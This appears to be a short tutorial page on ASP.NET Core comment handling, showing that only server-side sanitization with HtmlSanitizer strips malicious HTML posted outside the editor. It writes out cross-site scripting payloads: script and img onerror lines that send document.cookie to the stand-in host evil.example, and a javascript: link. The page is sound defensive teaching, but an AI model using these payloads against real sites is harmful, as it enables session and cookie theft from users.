Nothing in ASP.NET Core rejects the HTML you post.

One call on the server decides what survives.

SUBMITTED COMMENT — POSTED WITH AN HTTP CLIENT, NO BROWSER IN THE REQUEST
<p>Looks fine.</p><script>fetch('https://evil.example/steal?c=' + document.cookie)</script>
<img src="x" onerror="fetch('https://evil.example/steal?c=' + document.cookie)">
<a href="javascript:alert(document.domain)">click me</a>
action: store-as-posted
WHAT THE ROW HOLDS
<p>Looks fine.</p><script>fetch('https://evil.example/steal?c=' + document.cookie)</script><img src="x" onerror="fetch('https://evil.example/steal?c=' + document.cookie)"><a href="javascript:alert(document.domain)">click me</a>
✕ identical to the posted string
✕ Html.Raw puts it on the next reader's page
action: store-sanitized
WHAT THE ROW HOLDS
<p>Looks fine.</p><img src="x"><a>click me</a>
✓ script element and its contents gone
✓ onerror gone, javascript: href gone
✓ anchor and its text kept
✓ <img src="x"> kept — a broken image, not a script
the cleaning happens here on the server, before the row is written — Sanitize(form.Body) against an allowlist. Cleaning inside the editor changes neither column, because this request never went through the editor.
.NET 10.0.5 · HtmlSanitizer 9.2.1039 · Quill 2.0.3 · both stored strings copied from the demo's test output
gdhami.net